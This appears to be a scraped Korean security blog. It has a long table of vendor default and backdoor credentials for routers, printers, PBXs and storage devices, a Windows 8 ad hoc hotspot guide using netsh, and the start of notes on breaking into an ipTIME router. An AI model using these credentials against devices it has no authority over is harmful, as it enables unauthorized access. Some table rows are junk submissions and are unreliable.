SMC	Modem/Router		HTTP	cusadmin	highspeed	Customer Admin	Comcast Commercial High Speed Modem model number 8013WG
ihoi	oihoh	lknlkn	HTTP	Administrator	pilou	Admin
corecess	3113		Multi	admin	(none)	Admin
AXUS	AXUS YOTTA		Multi	n/a	0	Admin	Storage DAS SATA to SCSI/FC
D-link	DSL500G		Multi	admin	admin	Admin
Asus	P5P800		Multi	n/a	admin	User
Dell	Remote Access Card		HTTP	root	calvin	Admin
d-link	di-524		HTTP	admin	(none)	Admin
ion	nelu	nel	Multi	n/a	admin	Admin	vreau ceva
ion	nelu	nel	Multi	Administrator	admin	Admin	vreau ceva
D-link	DSL-504T		HTTP	admin	admin	Admin
Planet	ADE-4110		HTTP	admin	epicrouter	Admin
Planet	XRT-401D		HTTP	admin	1234	Admin
ASMAX	AR701u / ASMAX AR6024		HTTP	admin	epicrouter	Admin
ASMAX	AR800C2		HTTP	admin	epicrouter	Admin
ASMAX	AR800C2		HTTP	admin	epicrouter	Admin
D-link	DSL-G604T		Multi	admin	admin	Admin
Cisco	Aironet 1200		HTTP	root	Cisco	Admin
D-link	Di-707p router		HTTP	admin	(none)	Admin
Linksys	model WRT54GC compact wireless-G broadband router		Multi	(none)	admin	Admin
Minolta QMS	Magicolor 3100	3.0.0	HTTP	operator	(none)	Admin
IBM	Remote Supervisor Adapter (RSA)		HTTP	USERID	PASSW0RD	Admin
IBM	BladeCenter Mgmt Console		HTTP	USERID	PASSW0RD	Admin
Draytek	Vigor 2600		HTTP	admin	(none)	Admin
LG	LAM200E / LAM200R		Multi	admin	epicrouter	Admin
Linksys	AG 241 - ADSL2 Gateway with 4-Port Switch		Multi	admin	admin	Admin
Micronet	3351 / 3354		Multi	admin	epicrouter	Admin
Planet	ADE-4000		Multi	admin	epicrouter	Admin
SAGEM	FAST 1400		Multi	admin	epicrouter	Admin
SMC	7204BRA		Multi	smc	smcadmin	Admin
U.S. Robotics	SureConnect 9003 ADSL Ethernet/USB Router		Multi	root	12345	Admin
U.S. Robotics	SureConnect 9105 ADSL 4-Port Router		HTTP	admin	admin	Admin
3COM	OfficeConnect ADSL Wireless 11g Firewall Router	3CRWDR100-72	HTTP	(none)	admin	Admin	http://192.168.1.1
ZyXEL	Prestige 645		HTTP	admin	1234	Admin
olitec (Trendchip)	sx 202 adsl modem router		HTTP	admin	admin	Admin	Firmware: 2.7.0.9(UE0.B1C)3.3.0.23
Entrust	getAccess	4.x and 7.x	Web Admin gui	websecadm	changeme	Admin	Access to Admin Gui via /sek-bin/login.gas.bat
Cable And Wireless	ADSL Modem/Router		Multi	admin	1234	Admin
Telco Systems	Edge Link 100		Console	telco	telco	telco
ZyXEL ZyWALL Series	Prestige 660R-61C		Multi	n/a	admin	Admin
DI624	D-LINK	C3	HTTP	admin	password	Admin	hardcoded for Verizon FiOS
SMC	SMCWBR14-G		HTTP	n/a	smcadmin	Admin	mentioned password (no passwd) on your webpage is wrong
Ricoh	Aficio AP3800C	2.17	HTTP	(none)	password	Admin	alternative to sysadmin and Admin
Wyse	Winterm 3150		VNC	n/a	password	Admin	by satadru
Ricoh	Aficio 2232C		Telnet	n/a	password	Admin
edimax	wireless adsl router	AR-7024	Multi	admin	epicrouter	Admin
Deutsche Telekom	T-Sinus 154 DSL	13.9.38	HTTP	(none)	0	Admin	thx to AwdCzAb
Asmax	Ar-804u		HTTP	admin	epicrouter	Admin
aztech	DSL-600E		HTTP	admin	admin	Admin
comtrend	ct536+		Multi	admin	(none)	Admin
Quintum Technologies Inc.	Tenor Series	all	Multi	admin	admin	Admin
Alcatel	OmniPCX Office	4.1	FTP	ftp_inst	pbxk1064	Installer
Alcatel	OmniPCX Office	4.1	FTP	ftp_admi	kilo1987	Admin
Alcatel	OmniPCX Office	4.1	FTP	ftp_oper	help1954	Operator
Alcatel	OmniPCX Office	4.1	FTP	ftp_nmc	tuxalize	NMC
Netgear	ADSL Modem DG632	V3.3.0a_cx	HTTP	admin	password	Admin
Allied Telesyn	AT-AR130 (U) -10		HTTP	Manager	friend	Admin	Default IP is 192.168.242.242
Mikrotik	Router OS	02/09/2017	HTTP	admin	(none)	Admin
Netgear	WGT634U		HTTP	admin	password	Admin
D-Link	DI-524	all	HTTP	user	(none)	User
Ricoh	AP410N	1.13	HTTP	admin	(none)	Admin
3ware	3DM		HTTP	Administrator	3ware	Admin
Netgear	FWG114P		Multi	n/a	admin	password
ALCATEL	4400		Console	mtcl	(none)	User
Netgear	GS724t	V1.0.1_1104	HTTP	n/a	password	Admin
CTC Union	ATU-R130	81001a	Multi	root	root	Admin
3Com	Shark Fin	Comcast-supplied	HTTP	User	Password	Diagnostics page	192.160.100.1
Scientific Atlanta	DPX2100	Comcast-supplied	HTTP	admin	w2402	diagnostics page	192.168.100.1
Terayon	Unknown	Comcast-supplied	HTTP	(none)	(none)	diagnostics page	192.168.100.1/diagnostics_page.html
Terayon	Unknown	Comcast-supplied	HTTP	(none)	(none)	diagnostics page	192.168.100.1/diagnostics_page.html
Linksys	Comcast	Comcast-supplied	HTTP	comcast	1234	diagnostics	192.168.0.1/docsisdevicestatus.asp
NetGear	Comcast	Comcast-supplied	HTTP	comcast	1234	diagnostics page	192.168.0.1/docsisdevicestatus.html
Zyxel	Prestige 660HW		Multi	admin	admin	Admin
Atlantis	A02-RA141		Multi	admin	atlantis	Admin
Atlantis	I-Storm Lan Router ADSL		Multi	admin	atlantis	Admin	(submit by fedematico)
Linksys	WAG54GS		Multi	admin	admin	Admin
IBM	T42		HTTP	Administrator	admin	Admin
Huawei	MT880r		Multi	TMAR#HWMT8007079	(none)	Admin	mpacheco.inimigo.com
OKI	C5700		HTTP	root	the 6 last digit of the MAC adress	Admin	running with other models
Sagem	F@st 1200 (Fast 1200)		Telnet	root	1234	User	root/1234
Minolta QMS	Magicolor 3100	3.0.0	HTTP	admin	(none)	Admin	Gives access to Accounting
Ricoh	Aficio 2020D		HTTP	admin	password	Admin
Juniper	ISG2000		Multi	netscreen	netscreen	Admin	Just a note - netscreen is now made by Juniper - otherwise no change
Linksys/ Cisco	RTP300 w/2 phone ports	1	HTTP	admin	admin	Admin
Linksys/ Cisco	RTP300 w/2 phone ports	1	HTTP	user	tivonpw	update access	use for flashing firmware
samsung	modem/router	aht-e300	Multi	admin	password	Admin	after reset
mediatrix 2102	mediatrix 2102		HTTP	admin	1234	Admin
Draytek	Vigor 2900+		HTTP	admin	admin	Admin
smc	smc 7904BRA		Multi	(none)	smcadmin	Admin
DLINK	604		Multi	n/a	admin	Admin
ZyXel	Prestige P660HW		Multi	admin	1234	Admin
topsec	firewall		Multi	superman	talent	Admin
US Robotics	USR9110		HTTP	admin	(none)	Admin	default IP subnet: 192.168.1.0
CNET	CSH-2400W	unk	HTTP	admin	1234	Admin
Psionteklogix	9160	1	HTTP	admin	admin	Admin
AirTies RT-210	AirTies RT-210	AirTies RT-210	Telnet	admin	admin	Admin	AirTies RT-210
Siemens	SE560dsl		Multi	admin	admin	Admin	Also has an account with: user/user
Psionteklogix	9160	1	HTTP	admin	admin	Admin
Netgear	WG602	1.7.x	HTTP	admin	password	Admin	Default IP: DHCP or 192.168.0.227
SSA	BPCS	Up to 5.02	Multi	SSA	SSA	Admin	rarely changed/used for upgrades-patches
Minolta PagrPro	QMS 4100GN PagePro		HTTP	n/a	sysadm	Admin
Secure Computing	Webwasher	all	HTTP	admin	(none)	Admin
Cisco	CallManager		HTTP	admin	admin	Admin	nabil ouchn
Cisco	WSLE	all	all	wlseuser	wlsepassword	User	see also enable passwd
Cisco	WLSE	all	Console	enable	(none)	enable	use with wlseuser
Netgear	CG814CCR	2	Multi	cusadmin	highspeed	Admin	Comcast small business router. Default access at 10.1.10.1
Brother	NC-2100p		Multi	(none)	access	Admin	NC-2100p Print Server
Signamax	065-7726S		Multi	admin	admin	Admin	Switch
Panasonic	PBX TDA 100/200/400	all	Console	(none)	1234	Admin	google.com search q panasonic pbx tda 100 default password
Zyxel	Router	650-1	Telnet	(none)	1234	Admin	Telefonica
Huawei	mt820	V100R006C01B021	HTTP	admin	admin	Admin	Telefonica Colombia ADSL
Irongate	NetSurvibox 266	1	HTTP	admin	NetSurvibox	Admin
netgear	sc101		management software	admin	password	Admin
Bluecoat	ProxySG (all model)	SGOS 3 / SGOS4	HTTPS (8082)	admin	admin	Admin
SMC	smc7904wbrb		Multi	(none)	smcadmin	Admin
SMC	SMC7004VBR		HTTP	n/a	smcadmin	Admin
Symbol	CB3000	A1	HTTPS	admin	symbol	Admin	Default IP 10.10.1.1
Xerox	240a		HTTP	admin	x-admin	Admin
Ericsson	MD110		Telnet	MD110	help	Admin
Ericsson	BP250		HTTP	admin	default	Admin
Cisco	Cisco Wireless Location Appliance	2700 Series prior to 2.1.34.0	Multi	root	password	Admin	Added by DPL admin. From http://www.securitytracker.com/alerts/2006/Oct/1017056
Topcom	Wireless Webr@cer 1154+ PSTN (Annex A)	V 4.00.0	HTTP	admin	admin	Admin	G+ mode (125Mbps) integration
Topcom	Wireless Webr@cer 1154+ PSTN (Annex A)	V 0.01.06	HTTP	admin	admin	Admin	WPA-PSK implemented
Topcom	Wireless Webr@cer 1154+ PSTN (Annex A)	V 0.01.09	HTTP	admin	admin	Admin	Improved wireless stability
Sercom	IP806GA		HTTP	admin	admin	Admin
Sercom	IP806GB		HTTP	admin	admin	Admin
draytek	Vigor3300 series		Telnet	draytek	1234	Admin
netgear	DG834GT	192.168.0.1	Multi	admin	Password	Admin
d-link	ads500g		HTTP	admin	admin	Admin
Konica Minolta	magicolor 5430 DL		HTTP	admin	administrator	Admin
planet	akcess point		HTTP	admin	admin	Admin
Sharp	AR-M355N		HTTP	admin	Sharp	Admin
Sharp	MX-3501n		HTTP	Administrator	admin	Admin
3com	LANplex	2500	Telnet	n/a	admin	Admin
Cisco	MeetingPlace		Console	technician	2 + last 4 of Audio Server chasis Serial case-sensitive + 561384	Admin	Used for Audio Server or MeetingTime software
cuproplus	bus		Multi	n/a	(none)	Admin
wline	w3000g		HTTP	admin	1234	Admin
Tandberg	6000MXP		Multi	Admin	(none)	Admin
hp	2300		Multi	admin	admin	Admin
Actiontec	Wireless Broadband Router		Multi	admin	password	Admin	Verizon Fios Setup
D-Link	DI-634M		Multi	admin	(none)	Admin
Silvercrest	WR-6640Sg		HTTP	admin	admin	Admin
Deutsche Telekom	T-Sinus 1054 DSL	All	HTTP	(none)	0	Admin
Netgear	FVS114	GR	HTTP	admin	password	Admin
Nokia	M1921		Telnet	(none)	nokai	Admin
Nokia	ADSL router M1921		Telnet	(none)	nokia	Admin
Siemens	Speedstream SS2614	Hardware V. 01	HTTP	n/a	admin	Admin
TrendNET	TEW-435BRM	1	HTTP	admin	password	Admin
Netgear	RO318		Multi	admin	1234	Admin
ZTE	ZXDSL 831	4.2	Multi	ADSL	expert03	Admin	Default Password if user does not change it
Alcatel	7300 ASAM		TL1	SUPERUSER	ANS#150	Admin
Shoretel	ALL		HTTP	admin	changeme	Admin
stratacom	all	all	Multi	stratacom	stratauser	Admin
Toshiba	E-Studio 3511c		HTTP	Admin	123456	Admin	Multifunction Printer/Copier/Scanner/Fax
Xerox	WorkCentre 7132		Multi	11111	x-admin	Admin
Sharp	AL-1655CS		HTTP	admin	Sharp	Admin
3Com	3CRWDR100A-72	2.06 (Sep 21 2005 14:24:48)	HTTP	admin	1234admin	Admin	Provided by Ya.com provider in Spain
Juniper	Netscreen	3.2	Console	serial#	serial#	Admin	Resets to factory settings
Cisco	ONS	all	Multi	CISCO15	otbu+1	Admin	Optical Network System - http/TL1
Telewell	TW-EA501	v1	Multi	admin	admin	Admin
NOMADIX	AG5000		Telnet	admin	(none)	Admin
Mediatrix	MDD 2400/2600		Console	administrator	(none)	Admin	From the Getting Started Guide (Draft)
Dell	2161DS Console Switch		HTTP	Admin	(none)	Admin	case sensitive username
digicom	Wavegate 54C		HTTP	Admin	(none)	Admin
Siemens	Hipath	3300-3750	Custom program	31994	31994	Admin
Sparklan	Wx-6215 D and G		HTTP	admin	admin	Admin
Applied Innovations	AIscout		Multi	scout	scout	supervisor
Planet	WAP 4000		Multi	admin	admin	Admin	Default IP is 192.168.1.1
fon	La fonera	0.7.1 r1	HTTP	admin	admin	Admin	fon.com
Lanier	Digital Imager	LD124c	HTTP	admin	(none)	Admin
Netgear	WGT624		Serial console	Gearguy	Geardog	Admin	see http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT624
Dell	PowerConnect 2724		HTTP	admin	(none)	Admin
D-Link	DI-524	E1	Telnet	Alphanetworks	wrgg15_di524	Admin	Password is actually firmware image signature. (use hex editor on .bin)
DIGICOM	Michelangelo Wave108		HTTP	root	admin	Admin
US Robotics	USR9106		HTTP	admin	admin	Admin
SpeedStream 5200-Serie	SpeedStream		Telnet	Administrator	admin	Admin
Siemens	Gigaset	All	Multi	(none)	0	Admin
Comtrend	ct-536+		HTTP	admin	admin	Admin
Comtrend	ct-536+		HTTP	admin	1234	Admin
2wire	wifi routers	n/a	HTTP	none	Wireless	Admin	Almost all 2wire routers
Sphairon	(Versatel WLAN-Router)		Multi	admin	passwort	Admin
HP	MSL Series Libraries		Multi	Factory	56789	Admin	Factory password under Utilities. For all functions unlocked.
Overland	NEO Series Libraries		Multi	Factory	56789	Admin	Factory password under Utilities. For all functions unlocked.
OKI	6120e and 421n		HTTP	admin	OkiLAN	Admin
siemen	speedstream 5400	059-e440-a02	HTTP	admin	(none)	Admin
Various	DD-WRT	v23 SP1 Final	HTTP	root	admin	Admin	Alternative firmware
Aztecj	DSL 600EU	62.53.2	Telnet	root	admin	Admin
Aztecj	DSL 600EU	62.53.2	HTTP	isp	isp	Admin	backdoor - not in all f/w versions
Linksys	rv082		Multi	admin	(none)	Admin
AVAYA	P333		Telnet	Administrator	ggdaseuaimhrke	Admin
AVAYA	P333		Telnet	root	ggdaseuaimhrke	Admin
Infoblox	INFOBLOX Appliance		Multi	admin	(none)	Admin
Avocent	Cyclade	Linux hostnamehere 2.6.11 #1 Tue Mar 28 13:31:20 PST 2006 ppc unknown	Multi	root	tslinux	Admin	http://www.cyclades.com.au
EMC	DS-4100B		Console	admin	(none)	Admin	EMC Fiber Switch
Citel	Handset Gateway		HTTP	citel	password	Admin
Citel	Handset Gateway		Telnet	(none)	citel	Admin
Grandstream	GXP-2000		HTTP	admin	1234	Admin
SysMaster	M10		HTTP	admin	12345	Admin
pfSense	pfSense Firewall	1.0.1	Multi	admin	pfsense	Admin	http://www.pfsense.com
ASUS	ASUS WL-330 Pocket Wireless Access Point		HTTP	admin	admin	Admin	http://192.168.1.1
Planex	BRL-04UR		Multi	admin	0	Admin
maxdata	7000x		Multi	n/a	(none)	Admin
Conceptronic	C54BRS4		Multi	admin	1234	Admin	Its a Generic Router From Conceptronic - Probably they can be all the same
OPEN Networks	812L		HTTP	root	0P3N	Admin
Thomson	Wireless Cable Gateway	DCW725	HTTP	(none)	admin	Admin	SSID : THOMSON (Credit to Renaud Feil)
Thomson	SpeedTouch AP	180	HTTP	n/a	admin	Admin	SSID : SpeedTouch180 (credit Renaud Feil)
KASDA	KD318-MUI	kasda adsl router and modem	Multi	admin	adslroot	Admin
Intracom	jetSpeed	520/520i	Multi	admin	admin	Admin	L3x
cisco	2600 router		Telnet	cisco	(none)	Admin
Edimax	EW-7206APG		HTTP	admin	1234	Admin
SMC	SMCWBR14-G		HTTP	(none)	smcadmin	Admin	DeFaults:: IP Address: 192.168.2.1 - Subnet Mask: 255.255.255.0
ASUS	ASUS SMTA Router	Firmware: 3.5.1.3(C0.0.7.4) - Hardware: 1100(AVG6002 REV:2.26A)	HTTP + Telnet	admin	admin	Admin	Router / VoIP Gateway (@ 192.168.3.1)
linksys	wrt54g		Multi	admin	admin	Admin
Addon	GWAR3000/ARM8100		HTTP	admin	admin	Admin	http://www.addon-tech.com
ZyXeL	660HW		HTTP	admin	(none)	Admin	terra
Netgear	Wifi Router	WGT 624 v3	HTTP	admin	password	Admin	slawcio26
Apache	Tomcat Web Server Administration Tool	5	HTTP	admin	(none)	Admin
Sitecom	WL-0xx up to WL-17x	all	Multi	admin	admin	Admin	often on port 88
greatspeed	DSL		HTTP	netadmin	nimdaten	Admin	ETB Colombia
Nokia	M1122	unknown	Multi	(none)	Telecom	Admin	New Zealand
Nortel	VPN Gateway		Console	admin	admin	Admin
Fortinet	Fortigate		Console	maintainer	bcpb+serial#	Admin	serial# has to be in caps
Fortinet	Fortigate		Console	maintainer	admin	Admin
Crossbeam	COS / XOS		Lilo boot	(none)	x40rocks	Admin	At the LILO boot prompt type linux single
Edimax	Edimax Fast Ethernet Switch		HTTP	admin	password	Admin
Prolink	H9000 Series		HTTP	admin	password	Admin
netgear	dg834		Multi	n/a	admin	Admin
Brother	MFC-420CN	Firmware Ver.C	Multi	n/a	access	Admin	multifunction printer copier
D-Link	DWL-G730AP	1.1	HTTP	admin	(none)	Admin	http://192.168.0.30
Fujitsu Siemens	Fibre Channel SAN storage FX 60		HTTP	manage	!manage	Admin
Fujitsu Siemens	Fibre Channel SAN storage FX 60		Telnet	manage	!manage	Admin
Spectra Logic	64000 Gator		Multi	administrator	(none)	Admin	Has no password
Spectra Logic	64000 Gator		Multi	operator	(none)	User	Has no password
HP	t5000 Thin Client series		Console	Administrator	admin	Admin
Huawei	MT880		HTTP	admin	admin	Admin
ATL	P1000		Multi	operator	1234	User	Tape Library Operator Access
ATL	P1000		Multi	Service	5678	Service Maintenance Admin	Tape Library Service Access
Topcom	Skyr@cer Pro AP 554	1.93	HTTP	admin	admin	Admin	Wireless Access Point
Netgear	FSM7326P 24+2 L3 mANAGED PoE Switch		HTTP	admin	(none)	Admin
seninleyimben	@skan	el rattani	FTP	admin	admin	Admin	11182360608
Sagem	Livebox		Multi	admin	admin	Admin
Inventel	Livebox		Multi	admin	admin	Admin
INOVA	ONT4BKP (IP clock)	all	Telnet	iclock	timely	Admin	Network clock
D-Link	G624T		Multi	admin	admin	Admin
Ricoh	Ricoh	Aficio MP 3500 1.0	Multi	admin	(none)	Admin	Nabil OUCHN
infacta	group mail		Multi	Administrator	(none)	Admin
Linksys	WRT54GS	V4	HTTP	admin	admin	Admin
Lanier	LD335		HTTP	supervisor	(none)	Admin
3COM	OfficeConnect 812 ADSL		Multi	Administrator	admin	Admin	terra
Comcast Home Networking	Comcast Home Networking	ALL	HTTP	comcast	(none)	Admin
SMC	SMC8013WG-CCR	2.11.19-1d	HTTP	mso	w0rkplac3rul3s	Admin	Comcast Business Gateway w the int LAN IP 10.1.10.1 and login cusadmin highspeed
Zyxel	ES-2108		Multi	admin	1234	Admin
D-Link	WBR-1310	B-1	Multi	admin	(none)	Admin
Sharp	AR-M155		HTTP	admin	Sharp	Admin	Note the Capital S
Sharp	MX-5500		HTTP	admin	admin	Admin	Different to other sharp units
Toshiba	E-Studio 4511c		HTTP	admin	123456	Admin
Leviton	47611-GT5		Multi	admin	leviton	Admin
Nortel	Passport 2430		Telnet	Manager	(none)	Admin
BUFFALO	WLAR-L11-L / WLAR-L11G-L		HTTP	root	(none)	Admin
Xerox	6204		Multi	n/a	0	Admin
iDirect	iNFINITY series	3000/5000/7000	Telnet	admin	P@55w0rd!	Admin	to enable ssh connections to the router: service sshd start
iDirect	iNFINITY series	3000/5000/7000	ssh	root	iDirect	Admin	first enable sshd telnet to router: service sshd start
US Robotics	USR5462		HTTP	n/a	admin	Admin
telecom	home hauwei		Multi	operator	(none)	Admin
Davolink	DV2020		HTTP	user	user	unknown
motorola	sgb900		HTTP	admin	motorola	Admin
zyxel	g-570s		Multi	n/a	admin	Admin
Beetel	ADSL Modem	220X	Multi	admin	password	Admin	Beetel Model Provided By Airtel In India
Linksys	WAG354G	2	HTTP	admin	admin	Admin	Applies to other linksys too
QLogic	SANbox 5602 Fibre Channel Switch		Multi	admin	password	Admin
QLogic	SANbox 5602 Fibre Channel Switch		Multi	images	images	User
Lucent	Cellpipe	20A-GX-UK	Console	n/a	admin	Admin
Buffalo Technology	TeraStation		Multi	admin	password	Admin
linksys	wag354g		Telnet	admin	admin	User
Thomson	TCW-710		Multi	(none)	admin	Admin	ono
Ricoh	Aficio 551		Multi	(none)	sysadm	Admin
Cisco	PIX	6.3	Console	enable	(none)	Admin
Guru	Wireless ADSL2		HTTP	admin	admin	Admin
Colubris	MSC		HTTP	admin	admin	User	for all Colubris Devices
Netgear	WGR614	v6	HTTP	admin	draadloos	Admin	Dutch routers
T-Com	Speedport Router Family	all	HTTP	(none)	0	Admin	works with nearly all routers of the speedport family
Mikrotik	Mikrotik		Telnet	admin	(none)	Admin
Zyxel	Prestige 650HW31	31	Telnet	192.168.1.1 60020	@dsl_xilno	Admin
Netgear	MR814	v1	HTTP	admin	password	Admin
Motorola	SURFboard	SBV5120	HTTP	admin	motorola	Admin
linksys	BEFW11S4	2	Multi	(none)	admin	Admin	Comes up as BEFW11S4 V.2 when you try and log into it.
WLAN_3D	Router		HTTP	Administrator	admin	Admin
Brother	HL5270DN		HTTP	admin	access	Admin
TrendMicro	InterScan 7.0		HTTP	admin	imss7.0	Admin
Promise	NS4300N NAS		Shell	engmode	hawk201	Admin
Ricoh	Aficio 1018d		HTTP	n/a	sysadm	Admin
Ricoh	Aficio 1013F		HTTP	n/a	sysadm	Admin
Polycom	SoundPoint IP Phones		HTTP	Polycom	456	Admin	username is case sensitive
Xerox	DocumentCenter 186	2007		admin	x-admin	admin
Netgear	ReadyNas Duo	RND2000		admin	netgear1	Admin	v4 firmware onwards
Netgear	ReadyNas Duo	RND2000		admin	infrant1	Admin	Upto v3 firmware
Konica Minolta	magicolor 1690MF			(non)	sysAdmin	Administrator
Konica Minolta	magicolor 1690MF			(non)	sysAdmin	Administrator
Kyocera	Printer	any		(none)	admin00
Buffalo	WHR-G300N			root		Administrator
Kyocera Printers	2020D			n/a	admin00	Admin
Westell	Ultraline Series3 A90-9100EM15-10	1.02.00.04		admin	password1	Admin	Verizon cable router (Model 9100EM on front)
CNet	CWR- 500 Wireless-B Router			Admin	admin	Admin
ZyXel Based (Generic)	Broadband SOHO Router	925ahcd on circuit board print		admin	0000	Admin	Password is 4 zeros. Gray router with pink bezel.
SWEEX				sweex	mysweex	Admin
D9287ar	Pavilion6640c			Clarissa
Syabas Technology	Popcorn Hour A-110	all		nmt	1234	admin
Syabas Technology	Popcorn Hour C-200	all		nmt	1234	admin
Syabas Technology	Popcorn Hour A-110	all		ftpuser	1234	admin
Dell	WRTA-108GD			admin	admin	Admin	192.168.2.1
Linksys	ADSLME3			root	orion99	Admin	From Telus ISP (Canada)
Areca	RAID controllers	Any		admin	0000	Administrator	http://ArecaIP:81
Edimax	PS-1208MFG			edimax	software01	Admin	for most Edimax HW????
SAF Tehnika	CFQ series modems			integrator	p1nacate	Integrator
SAF Tehnika	CFQ series modems			administrator	d1scovery	Admin
SAF Tehnika	CFQ series modems			operator	col1ma	Operator
SAF Tehnika	CFQ series modems			monitor	monitor	Monitor
McData	i10k Switch			McdataSE	redips	admin
Radware	AppXcel			radware	radware	Admin
AVM	Fritz!Box	any		n/a	0000	admin
T-Com	Speedport	any		n/a	0000	admin	192.168.2.1 \| http://Speedport.ip \|
T-Com	Speedport W701V	any		n/a	0000	admin
T-Com	Speedport W900V	any		n/a	0000	admin
Sempre	54M Wireless Router	V 1.00		admin	admin
Radware	AppDirect			radware	radware	Admin
Bosch	NWC-0455 Dinion IP Cameras			service	service	admin	may work in other bosch ip cameras
Bosch	NWC-0455 Dinion IP Cameras			user	user	regular user
Bosch	NWC-0455 Dinion IP Cameras			live	live	monitor - low priv
m0n0wall	m0n0wall	1.3		admin	mono	Administrator	Firewall
m0n0wall	m0n0wall	1.3		admin	mono	Administrator	Firewall
3com	corebuilder	7000/600/3500/2500		defug	synnet
LAXO	IS-194G	1.0a		admin	admin	admin	192.168.1.254
LogiLink	WL0026	1.68		admin	1234	Admin	Realtek chipset. Default IP 192.168.2.1
XAMPP	XAMPP Filezilla FTP Server			newuser	wampp	User
Pirelli	DRG A125G	4.5.3		admin	admin	Admin
Ricoh	Aficio MP 161L	( Printer MP 161L )		( none - Not required )	sysadm	Administration
Edimax	PS-1203/PS-1205Um/PS-3103	( not applicable )		admin	(none) OR su@psir	Administration
Sagem	Fast 3504 v2			Menara	Menara	admin	moroccan internet provider's router
ALLNET	ALL 130DSL			admin	password
AVM	Fritz!Box Fon	7270		n/a	n/a		http://fritz.box
Watchguard	Firebox			(blank)	wg	admin
Sharp	AR-M237			admin	Sharp	Admin
Extended Systems	Print Servers	-		admin	extendnet	Admin
Symmetricom	NTS-200	All		operator	mercury	Admin	Symmetricom NTP Network Appliance
Symmetricom	NTS-200	All		guest	truetime	guest	Symmetricom NTP Network Appliance
Sharp	AR-M237			admin	Sharp	Admin	pass case-sensitive
Netgear	WGR614	9		admin	password	Admin	192.168.1.1 OR www.routerlogin.net
Brother	MFC-7225			admin	access	admin
NETGEAR	DG834G	3		admin	password
Ericsson	SBG	3.1		expert	expert
huawei incorporate	k3765	9.4.3.16284		admin	admin
Ricoh	Aficio	2016		(none)	password	all
T com	sinus	1054dsl		veda	12871
Toshiba	Most e-Studio copiers			admin	123456	Admin
thomson	speedtouch 585 v7	2+		admin	password	administrator	uw club supply u wid dese boxes
ptcl	zxdsl831cii			admin	admin
Brocade	Fabric OS	5320		user	password	user	Also on other SAN equipment
Zyxel	NWA1100				1234	Admin
Zyxel	G570S	v2			1234	Admin
HP	E1200	Network Storage Router		root	password	admin
Kyocera	FS-2020D			-	admin00	Admin
Weidmüeller	IE-SW16-M			admin	detmond	admin
T-Com	Speedport 503V	any			123456

저작자표시 비영리 변경금지

'Neywork' 카테고리의 다른 글

SSL 통신 암호화 과정 (0)	2015.07.28
reverse connection cheat sheet (0)	2015.04.17
BEIST 님이 작성하셨던 특정 proccess packet capture 만들기 (0)	2014.10.07
윈도우8 애드훅(애드혹, AdHoc) 설정하기 (0)	2013.09.11
IPTIME 해킹 관련 내용 1 (0)	2012.07.17

Posted by k1rha

2013. 9. 11. 00:11

윈도우8 애드훅(애드혹, AdHoc) 설정하기

Neywork

keyword : 윈도우 8 애드훅 , 에드혹 adHoc 내 PC 네트워크 카드 무선 공유기화 시키기

[출처 : ?!! 잊었습니다 ㅠ ]

윈도우8 애드훅(애드혹, AdHoc) 설정하기

윈도우8에 오면서 네트워크 설정이 간략화되는 바람에 애드혹 기능이 숨겨져버렸습니다.

거기에 부팅때마다 다시 켜줘야 하는 불편함까지 생겼습니다.

여러모로 윈도우8은 간략화를 많이 해서 불편한점이 많네요.

간단히 애드혹 기능을 살려보자규요.

1. cmd창에서 netsh wlan show drivers를 쳐서[호스트된 네트워크 지원 : 예] 를 확인.

아니오 라면 드라이버 업뎃 등을 통해서 해결해야함.

2. netsh wlan set hostednetwork mode=allow ssid=[네트워크 이름] key=[비밀번호]하고 엔터.[ ] 는 똑같이 따라칠 필요가 없습니다.

ex) ssid=myAdHoc key=1234567890

3. net wlan start hostednetwork입력후 엔터

4. AdHoc완성입니다.

5. 제어판-네트워크 및 공유센터 -어댑터 설정 변경 진입.

6. 자신이 쓰고 있는 랜 장치를 찾습니다.인터넷을 유선연결로 쓰고 있다면 [로컬 영역 연결]이며, 무선인 경우엔 [Wi-Fi]일겁니다.해당 장치의 [속성]창을 띄우고[공유] 탭에서 [인터넷 연결 공유] 에서

7. "다른 네트워크 사용자가 이 컴퓨터의....." 체크

8. 홈 네트워킹 연결 에서 선택해야 할 것은 [네트워크 연결]에서 "Microsoft에서 호스트하는..."문구가 붙은 장치 이름입니다.

보통[로컬 영역 연결*12]와 같은 이름을 갖습니다

9. 그리고 확인 해주면 애드혹 설정 끝.

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

재부팅하면 이 애드혹을 다시 잡아줘야 합니다.

그럴땐 cmd 창에 netsh wlan start hostednetwork 만 입력해주면 기존의 애드혹 설정이 살아나서 다시 쓸 수 있습니다.

이걸 배치파일로 만들어서 시작프로그램에 등록해두면 컴퓨터 부팅하고 나서 알아서 애드혹을 잡아줍니다.

메모장을 열고,

@echo off

netsh wlan start hostednetwork라고 입력 후[파일명].bat으로 저장합니다.

그리고 그 파일을 시작프로그램에 등록하면 재부팅시 알아서 자동으로 애드혹을 설정해줍니다.

저작자표시 비영리 변경금지

'Neywork' 카테고리의 다른 글

SSL 통신 암호화 과정 (0)	2015.07.28
reverse connection cheat sheet (0)	2015.04.17
BEIST 님이 작성하셨던 특정 proccess packet capture 만들기 (0)	2014.10.07
Network vender Model default password (0)	2014.01.02
IPTIME 해킹 관련 내용 1 (0)	2012.07.17

Posted by k1rha

2012. 7. 17. 08:38

IPTIME 해킹 관련 내용 1

Neywork

정우형 시큐인사이드 발표 영상

http://www.youtube.com/watch?v=_6XrBSrnkTQ&feature=youtu.be

데일리 시큐 기사

http://www.dailysecu.com/news_view.php?article_id=2585

http://returnaddr.org/b0d/view.php?id=mydoc_secudoc&page=1&sn1&divpage=1&sn=off&ss=on&sc=on&select_arrange=hit&desc=asc&no=6&PHPSESSID=3f5a7202e2ea46023bd01491e08ff60d

* IPTIME 공유기 해킹 과정 정리 *

ㅇ 장비명 : IpTIME Q104
ㅇ 벤   더 : EFM Networks
ㅇ 접근포트 : http://192.168.0.1 (http://192.168.0.1:55555, http://192.168.255.1:55555)

- BASIC Auth 사용하여 인증
- 디폴트 password (admin/null)와 쉬운 PW를 찍었으나 실패.
- 울프팀 게임으로 인해 과다 트래픽 감지 / 차단되어 경고 창 뜸
- 소스보기 => 리포트 화면이 iframe 으로 구성된 것을 확인
